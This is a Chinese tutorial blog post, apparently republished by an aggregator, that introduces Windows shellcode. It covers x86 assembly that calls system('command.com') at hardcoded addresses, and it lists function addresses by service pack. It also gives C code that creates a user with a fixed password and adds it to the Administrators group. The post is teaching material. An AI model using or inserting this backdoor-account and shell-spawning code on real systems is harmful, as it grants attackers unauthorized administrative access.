Windows 下 ShellCode 编写初步

Posted bala0toh

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Windows 下 ShellCode 编写初步相关的知识,希望对你有一定的参考价值。

第二章、Windows 下 ShellCode 编写初步

(一)shellcode

定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在
NOTES:计算机每次都只是执行当前 EIP 指向的指令(单 CPU)。在当前指令执行后,EIP 会自动加 1,从而指向下一条指令。如果有 JMP CALL RET 一类的指令,EIP 就会被强行改变成指定的地址,从而完成流程的跳转

(二)打开控制台窗口的 C 程序

技术分享图片

升级版:
技术分享图片

程序解释:
(1)typedef void (*MYPROC)(LPTSTR)
定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向 system 函数,在后面调用它,就相当于调用 system 函数
(2)LibHandle = LoadLibrary(“msvcrt.dll”)
加载 msvcrt.dll 这个动态链接库,动态链接库的句柄赋给 LibHandle
(3)ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle, system)”获得 system 的真实地址。之后再使用这个真实地址来调用 system 函数。执行该语句后,ProcAdd 为指向 system 函数的指针(而不是地址(*)),即ProcAdd 存的是 system 函数的地址
(4)(ProcAdd) ("command.com");
因为此时的 ProcAdd 为指向 system 函数的指针,所以“(ProcAdd) ("command.com")”就是调用“system("command.com")”,完成我们想要的功能

(三)查看函数的地址

看 system 函数的地址:在 VC 下按 F10 进入调试状态,然后在 Debug 工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口
按 F10,程序就会单步执行
EAX的值即为msvcrt.dll 的地址(‘LibHandle = LoadLibrary("msvcrt.dll")’那句下的call dword ptr [[email protected](0042413c)]就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是 msvcrt.dll 的地址;而函数的返回值,通常都是放在 EAX 中)

(四)Windows 下的函数调用原理

  1. windows 下,函数的调用需要先把函数所在的动态链接库 Load 进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接 CALL 该函数的地址.
    2.NOTES:Linux 下,函数的执行是使用系统中断调用。系统把函数的系统调用码给 EAX(如 execve 是 0xb),函数带的参数给其他寄存器,最后执行 int$0x80 中断指令,完成函数的执行
    3.例:在 Windows 下执行函数 Func(argv1, argv2, argv3) ,先把参数从右至左压入堆栈,这里就是依次把 argv3、argv2、argv1 压入堆栈里,然后 Call Func 函数的地址,这里的 Call Func
    函数地址,其实等于两步,一是保存当前 EIP,二是跳到 Func 函数的地址执行,即 Push EIP + Jmp Func
    技术分享图片

(五)汇编和机器码——真正 ShellCode 的生成

1.写system(“command.exe”) 的汇编代码
不知道 command.exe 字符串的地址,故而自己构造,把‘command.exe’一个字符一个字符的压入堆栈
技术分享图片

ESP 正好是 command.exe 字符串的地址,然后PUSH ESP

NOTE:1.计算机入栈是压四个字节,那我们就每次 PUSH 四个字节;或者我们就一个字节一个字
节地把值赋入堆栈,不用 PUSH,而直接用赋值,如下:

mov esp,ebp ;
mov ebp,esp ; 把当前 esp 赋给 ebp作为栈底
xor edi,edi ;
push edi ;压入 0,esp-4,; 作用是构造字符串的结尾 字符。
sub esp,08h ;加上上面,一共有 12 个字节,;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m 一个一个生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com 串地址作为参数入栈
mov eax, 0x7801AFC3 ;
call eax ; call system 函数的地址

(1)‘push edi’和‘sub esp,08h’是把 esp 减去 12 字节,这 12 个字节空间就用来放(2)command.com’;(2)‘mov byte ptr [ebp-0ch],63h’等,是我们把 command.com 一个字节一个字节的放进留出的空间中;
(3)‘lea eax,[ebp-0ch]’来获得构造的 command.com 字符串的地址;
(4)‘push eax’把地址压入堆栈,call system 函数的地址就完成了

(六)ShellCode 通用性的初步分析

由于系统版本不一,造成 LoadLibrary 和 system 函数的地址不同

NOTES:自动查找函数地址的程序 GetAddr.cpp:

include <windows.h>

include <stdio.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x ", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x ", ProcAdd);
return 0;
}

NOTES:
kernel32.dll中的LoadLibrary 函 数
user32.dll 中的 MessageBox 函数

1.弹出 Windows 对话框 ShellCode 的编写

include "windows.h"

int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
MessageBox(0, "ww0830","ww", 1);
return 0;
}

2.添加用户 ShellCode 的编写
1.(1)添加用户:net user name /add
(2)帐户添加到管理员: DOS 命令行下执行 net localgroup administrators name /add

include <windows.h>

int main()
{
LoadLibrary("msvcrt.dll");
system("net user c /add");
system("net localgroup administrators c /add");
return 0;
}

2.添加用户的另一种方法
用的是 Netapi32.dll 里的 NetUserAdd 和 NetLocalGroupAddMembers 函数
NOTES:
(1)ASCII 编码是用一个字节来表示字符,这样只有 256 种组合
Unicode 是用两个字节(16 位)来表示字符,这样共有 65536 种组合

ifndef UNICODE

define UNICODE

endif

include <stdio.h>

include <windows.h>

include <lm.h>

pragma comment(lib,"netapi32")

int wmain()
{
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"ww0830";
ui.usri1_password = L"ww0830";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为 ww0830 的用户,密码也为 ww0830
if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
//添加成功
printf("Add user success. ");
}
else
{
//添加失败
printf("Add user Error! ");
return 1;
}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"ww0830");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
//把 ww0830 添加到 Administrators 组
if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==
NERR_Success )
{
//添加成功
printf("Add to Administrators success. ");
return 0;
}
else
{
//添加失败
printf("Add to Administrators Fail! ");
return 1;
}
}

NOTES:
1.查找到 LoadLibraryA 函数的地址是 0x77E6A254,system 函数的地址是 0x78019B4A,都是正确的,但为什么我把 ShellCode 对应的地方改成“x77xE6xA2x54”和“x78x01x9Bx4A”后,不能弹出 DOS 窗口呢?
注意别把字节的顺序写反了,应该是“x54xA2xE6x77”和“x4Ax9Bx01x78”
2.在 Windows 系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478 来说,0x77 是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把 0x77 放在字符串中数的最后。
3.LoadLibraryA 和 system 函数的地址在 Win2000 SP0 下,分别是 0x77E78023 和 0x7801AAAD;在SP2 下分别是 0x77E6A254 和 0x78019B4A;在 SP3 下分别是 0x77E69F64 和 0x7801AFC3;在 XP SP0 下分别是 0x77E605D8 和 0x77BF8044

  1. 为何LoadLibrary 函数在系统里面有 LoadLibraryA 和 LoadLibraryW 两种实现?而system只有一个呢?
    在 Windows 下,存在几种编程接口。

(1) Windows API 函数。这类函数是和 Windows 系统相关的,使用的也是 Windows 下才特有的数据类型(比如 CHAR)。API 函数就存在 A 和 W 这两种实现,而 LoadLibrary 是 API 函数。
(2)C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system
函数( C 语言标准中,规定函数名称都是小写)
5.Windows 应用程序的标识符通常用“大小写”混排的方式,如AddChild; Windows 下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀“m_”
Unix应用程序的标识符用“小写加下划线”的方式,如add_child

  1. ShellCode 里面不能有 0x00,因为 0x00 是字符串的结束符























































































































以上是关于Windows 下 ShellCode 编写初步的主要内容,如果未能解决你的问题,请参考以下文章

windows:shellcode 原理

MIPS下shellcode编写二

shellcode在C环境下的调用

Shellcode的编写

Window中的shellcode编写框架(入门篇)

2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1+ 逆向进阶